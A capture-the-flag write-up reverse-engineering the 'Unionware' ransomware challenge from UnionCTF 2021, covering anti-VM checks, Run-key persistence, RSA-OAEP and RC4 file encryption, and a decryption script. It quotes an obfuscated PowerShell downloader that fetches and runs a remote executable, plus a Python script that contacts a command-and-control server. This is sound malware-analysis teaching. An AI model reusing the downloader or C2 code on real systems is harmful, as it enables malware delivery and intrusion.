[UnionCTF 2021 - RE] Unionware
UnionCTF - Unionware
This challenge gives us two files: an “unionware.ps1” and a “important_homework.txt.unionware” containing seemingly random bytes. The challenge tells us that a ransomware encrypted the important homework and asks us to decrypt it.
Analyzing the Powershell
While looking at the powershell, we can see an obfuscated Powershell command, which seems to split some random string and then evaluating it. So, we’ll just run the part of the script which deobfuscates the payload without executing it, which give us:
-joIN ( '105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125' -spLIT'a'-SPlIT'n'-SPLit ':'-spLiT 'u'-sPLIT '%' -SpLiT 'O' -sPLiT 'H'-SpLit'C' -SPLit'M' -spLIt '_' |%{ ( [ChAr][int]$_)} )
Unfortunately Windows Defender detects it as a malware, so we have to tell it to stfu, and then we get:
if($ENV:UserDomain -eq "HMRC") {
(New-Object 'Net.WebClient').DownloadFile("https://storage.googleapis.com/eu-unionctf-2021/lnELKNdoie.exe", "$ENV:temp\lnELKNdoie.exe")
start $ENV:temp\lnELKNdoie.exe
}
The Powershell script is just a downloader for another executable we’ll need to analyze
Payload analysis
The executable is a 32-bit binary. The main function does a lot of anti-VM checks which were a bit annoying to bypass`, with function calls dynamically resolved through LoadLibrary/GetProcAddress with obfuscated strings.
.text:00402177 loc_402177: ; CODE XREF: _main+6E↑j
.text:00402177 call AntiVMCheck1
.text:0040217C call AntiVMCheck2
.text:00402181 call AntiVMCheck3
.text:00402186 rdtsc
.text:00402188 mov esi, eax
.text:0040218A mov edi, edx
After some debugging in x64dbg, I figure outd that the malware checks if it’s installed into HKCU\Software\Microsoft\Windows\CurrentVersion\Run under the REG_SZ value “slkkmeLDDF”. if not, it calls an install function to set up that key with the module path.
Then it attempts to communicate with the CnC to download the next stage:
lea ecx, [ebp-450h]
mov dword ptr [ebp-5FCh], 930956E3h
push ecx
push dword_40A3F8 ; should contain the port but ¯\_(ツ)_/¯
mov dword ptr [ebp-5F8h], 0FBACEEF3h
lea ecx, [ebp-600h] ; IP address decryption
mov dword ptr [ebp-5F4h], 2BBFDE68h
mov dword ptr [ebp-420h], 8E035C15h
mov dword ptr [ebp-41Ch], 0A22767D7h
mov dword ptr [ebp-418h], 0CD82D7C6h
mov dword ptr [ebp-414h], 2BBFDE5Ah
movaps xmm1, xmmword ptr [ebp-420h]
pxor xmm1, xmmword ptr [ebp-600h]
push ecx ; contains the IP address of the CnC
movaps xmmword ptr [ebp-600h], xmm1
call eax
Unfortunately, the “dword_40A3F8” which should point to the port string contains garbage… After some xrefing in IDA, we come across this function, which is called as __initterm callback (i.e. before main is called):
mov dword ptr [esp+20h+var_20], 0B9306F24h
lea eax, [esp+20h+var_20]
mov dword ptr [esp+20h+var_20+4], 0A22767D7h
mov dword ptr [esp+20h+var_20+8], 0CD82D7C6h
mov dword ptr [esp+20h+var_20+0Ch], 2BBFDE5Ah
mov dword ptr [esp+20h+var_10], 8E035C15h
mov dword ptr [esp+20h+var_10+4], 0A22767D7h
mov dword ptr [esp+20h+var_10+8], 0CD82D7C6h
mov dword ptr [esp+20h+var_10+0Ch], 2BBFDE5Ah
movaps xmm1, [esp+20h+var_10]
pxor xmm1, [esp+20h+var_20]
movaps [esp+20h+var_20], xmm1
mov dword_40A3F8, eax
The string is decrypted as “1337”, but unfortunately a pointer to a local variable in the function’s stack frame is stored into dword_40A3F8, and this stack frame is overwritten by other function calls, leading to garbage.
We know we need to connect to 35.241.159.62:1337
After manually setting the correct port in x64dbg, we notice that the string KADMKLAFD:LSM$OPM@FLK:FM!N$@N$
is sent to the server, and then another annoying anti-debug trick hits us again. So let’s connect to the server, send this string and see what’s happens (yes it’s ugly and you have to it ctrl+C to stop the script):
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 159.65.197.149
s.connect(("35.241.159.62", 1337))
zgueg = b"KADMKLAFD:LSM$OPM@FLK:FM!N$@N$"
s.send(zgueg)
buf = b""
f = open("shlag.bin", "wb")
while True:
tmp = s.recv(0x200)
f.write(tmp)
f.close()
After running the script, we get a nice PE file waiting to be reversed :)
Analysis of the server payload
We finally reach the final payload. After a quick inspection in IDA, smells ransomware:
.text:00411FEF loc_411FEF: ; CODE XREF: WinMain(x,x,x,x)+353↑j
.text:00411FEF lea edx, [ebp+ppszPath]
.text:00411FF5 push edx ; ppszPath
.text:00411FF6 push 0 ; hToken
.text:00411FF8 push 0 ; dwFlags
.text:00411FFA push offset rfid ; rfid
.text:00411FFF call ds:SHGetKnownFolderPath
.text:00412005 mov eax, 4
.text:0041200A imul ecx, eax, 0
.text:0041200D mov edx, [ebp+ecx+ppszPath]
.text:00412014 push edx ; Src
.text:00412015 lea ecx, [ebp+var_5AC]
.text:0041201B call sub_412C10
.text:0041201B ; } // starts at 411FC5
.text:00412020 ; try {
.text:00412020 mov byte ptr [ebp+var_4], 0Fh
.text:00412024 push offset aImportantReadm ; "\\IMPORTANT_README.txt"
Since it’s C++ stuff with a lot of junk “proxy” function around STL objects (std::string, std::vector and recursive_directory_iterator), let’s check what happens in x86dbg. The function enumerates all files into the “C:\Users\<username>\Documents\j3w3ls directory, checks if the file size is above 200 bytes and if so, adds it to the “to encrypt” list. So to trigger the ransomware, let’s create the “j3w3ls” directory and put a junk file in it, before restarting the debugging.
We come across an interesting loop:
.text:00411ECF call getfilename
.text:00411ED4 mov [ebp+filename], eax
.text:00411EDA mov eax, [ebp+filename]
.text:00411EE0 push eax
.text:00411EE1 lea ecx, [ebp+pbuffer]
.text:00411EE7 push ecx
.text:00411EE8 call readbuf
.text:00411EED add esp, 8
.text:00411EF0 mov [ebp+ppbuf], eax
.text:00411EF6 mov edx, [ebp+ppbuf]
.text:00411EFC push edx ; struct std::_Fake_allocator *
.text:00411EFD lea ecx, [ebp+var_54C]
.text:00411F03 call alloc_stuff
.text:00411F08 lea ecx, [ebp+pbuffer]
.text:00411F0E call vector_destroy
.text:00411F13 lea eax, [ebp+var_54C]
.text:00411F19 push eax
.text:00411F1A lea ecx, [ebp+var_628]
.text:00411F20 push ecx
.text:00411F21 call EncryptionHappensHere
The “EncryptionHappensHere” function does a lot of crypto++ wizardry (I spent a lot of time identifying Crypto++ parts of the bin): it generates a private RSA key from a random pool, then sends it to the CnC:
.text:0040639D lea ecx, [ebp+randomGenerator]
.text:004063A3 call CreateAutoSeededRandomPool
.text:004063A8 mov [ebp+stepCounter], 0
.text:004063AF push 10Ch ; Size
.text:004063B4 lea ecx, [ebp+privkey]
.text:004063BA call zeromem
.text:004063BF push 1 ; int
.text:004063C1 lea ecx, [ebp+privkey]
.text:004063C7 call InvertibleRSAFunction__ctor
.text:004063CC mov byte ptr [ebp+stepCounter], 1
.text:004063D0 lea eax, [ebp+privkey+44h]
.text:004063D6 mov [ebp+privkeyObj], eax
.text:004063DC push 400h ; keyBits
.text:004063E1 lea ecx, [ebp+randomGenerator]
.text:004063E7 push ecx ; randomGenerator
.text:004063E8 mov ecx, [ebp+privkeyObj]
.text:004063EE call InvertibleRSAFunction__Initialize
[...]
.text:00406428 push 1
.text:0040642A lea eax, [ebp+privkey]
.text:00406430 push eax
.text:00406431 lea ecx, [ebp+generated_pubk]
.text:00406437 call RSAFunction__RSAFunction
.text:0040643C mov byte ptr [ebp+stepCounter], 3
.text:00406440 lea ecx, [ebp+privkeyDer]
.text:00406443 call new_std_string
.text:00406448 mov byte ptr [ebp+stepCounter], 4
.text:0040644C push 14h ; Size
.text:0040644E lea ecx, [ebp+output]
.text:00406451 call zeromem
.text:00406456 lea ecx, [ebp+privkeyDer]
.text:00406459 push ecx
.text:0040645A lea ecx, [ebp+output] ; output
.text:0040645D call StringSinkTemplate__StringSinkTemplate
.text:00406462 mov byte ptr [ebp+stepCounter], 5
.text:00406466 lea edx, [ebp+privKeyCopy]
.text:0040646C push edx
.text:0040646D lea eax, [ebp+output]
.text:00406470 push eax
.text:00406471 call EncodePrivateKey
.text:00406476 add esp, 8
.text:00406479 lea ecx, [ebp+privkeyDer]
.text:0040647C push ecx
.text:0040647D call SendKeyToCC
Then the funny stuff begins. The functions creates a public key from the generated private key, uses it to construct a RSAES_OAEP_SHA_Encryptor from the public key. Then it constructs an ArraySink from a STL vector’s buffer, which is passed as a bufferedTransformation to the PK_EncryptorFilter. This EncryptorFilter will be then given to the StringSource which will read the 86 first bytes of the string:
mov ecx, [ebx+0Ch]
call string_getdata
mov [ebp+file_contents_buf], eax
mov ecx, [ebp+encFilter_temp3]
push ecx ; transformation
push 1 ; pumpAll
push 86 ; length
mov edx, [ebp+file_contents_buf]
push edx ; zstring
lea ecx, [ebp+stringsource]
call CreateStringSource
In C++, this would give something like this:
// filebuf is a std::string passed as argument
// pub_from_privkey is the public key derived from the random privkey
// rng is the random pool seen above
std::vector<char> encrypted;
encrypted.resize(0x80);
RSAES_OAEP_SHA_Encryptor e (pub_from_privkey);
source = StringSource(
filebuf.c_str(),
86,
true,
new PK_EncryptorFilter(
rng,
e,
new ArraySink(&encrypted[0], 0x80)
));
After the call, our “encrypted” contains the encrypted 86 first bytes of the file. Then, after doing some output string initialization, it does:
mov ecx, [ebx+0Ch]
call string_getsize
sub eax, 56h
push eax
lea ecx, [ebp+rc4_enc_buf]
call str_resize
lea eax, [ebp+rc4_enc_buf]
push eax ; outStr
mov ecx, [ebx+0Ch]
push ecx ; clearStr
lea edx, [ebp+rsaEncrypted_vec]
push edx ; rc4key
call RC4Encryption
add esp, 0Ch
The RC4 encryption function was easy to identify, thanks to its key scheduling function at 0x00405E50 called by RC4Encryption. Now, we know that RSA_OAEP(fileBuf[0:56]) is the RC4 key to encrypt the rest of the file. Now, let’s check where the key is saved into the encrypted file, so we may recover the whole file minus the 56 first bytes.
We get a first copy loop, which copies the RSA-encrypted buffer into the return buffer:
.text:0040667C jmp short loop1
.text:0040667E ; ------------------------------------------------------------
.text:0040667E
.text:0040667E loop1_next: ; CODE XREF: EncryptionHappensHere+387↓j
.text:0040667E mov eax, [ebp+counter]
.text:00406684 add eax, 1
.text:00406687 mov [ebp+counter], eax
.text:0040668D
.text:0040668D loop1: ; CODE XREF: EncryptionHappensHere+33C↑j
.text:0040668D cmp [ebp+counter], 80h
.text:00406697 jge short loop1_finished
.text:00406699 mov ecx, [ebp+counter]
.text:0040669F push ecx
.text:004066A0 lea ecx, [ebp+rsaEncrypted_vec]
.text:004066A3 call vector_getdata
.text:004066A8 mov dl, [eax]
.text:004066AA mov [ebp+tmp], dl
.text:004066B0 mov eax, [ebp+counter]
.text:004066B6 push eax
.text:004066B7 lea ecx, [ebp+outbuffer]
.text:004066BA call vector_getdata
.text:004066BF mov cl, [ebp+tmp]
.text:004066C5 mov [eax], cl
.text:004066C7 jmp short loop1_next
Then, we get a second loop which copies the RC4-encrypted buffer:
.text:004066C9 loop1_finished: ; CODE XREF: EncryptionHappensHere+357↑j
.text:004066C9 mov [ebp+counter2], 80h
.text:004066D3 jmp short loop2
.text:004066D5 ; ---------------------------------------------------------------------------
.text:004066D5
.text:004066D5 loop2_next: ; CODE XREF: EncryptionHappensHere+3E7↓j
.text:004066D5 mov edx, [ebp+counter2]
.text:004066DB add edx, 1
.text:004066DE mov [ebp+counter2], edx
.text:004066E4
.text:004066E4 loop2: ; CODE XREF: EncryptionHappensHere+393↑j
.text:004066E4 lea ecx, [ebp+outbuffer]
.text:004066E7 call string_getsize
.text:004066EC cmp [ebp+counter2], eax
.text:004066F2 jnb short loopEnd
.text:004066F4 mov eax, [ebp+counter2]
.text:004066FA sub eax, 80h
.text:004066FF push eax
.text:00406700 lea ecx, [ebp+rc4_enc_buf]
.text:00406703 call vector_getdata
.text:00406708 mov cl, [eax]
.text:0040670A mov [ebp+tmp2], cl
.text:00406710 mov edx, [ebp+counter2]
.text:00406716 push edx
.text:00406717 lea ecx, [ebp+outbuffer]
.text:0040671A call vector_getdata
.text:0040671F mov cl, [ebp+tmp2]
.text:00406725 mov [eax], cl
.text:00406727 jmp short loop2_next
.text:00406729 ; ---------------------------------------------------------------------------
.text:00406729
.text:00406729 loopEnd: ; CODE XREF: EncryptionHappensHere+3B2↑j
.text:00406729 lea edx, [ebp+outbuffer]
Then, the program does some cleanup, before returning to the caller, which writes the encrypted content into the file.
Now, we can write a Python script to recover most of the file:
from Crypto.Cipher import ARC4
f = open("important_homework.txt.unionware", "rb")
buf = f.read()
k = buf[0:0x80]
blop = ARC4.new(k)
rofl = open("out.txt", "wb")
rofl.write(blop.decrypt(buf[0x80:]))
And after searching the “{” char in the file, we finally get the flag: union{d1d_y0u_g3t_m3_th0s3_cr0wn_j3w3ls?}
.
That’s all folks ! :þ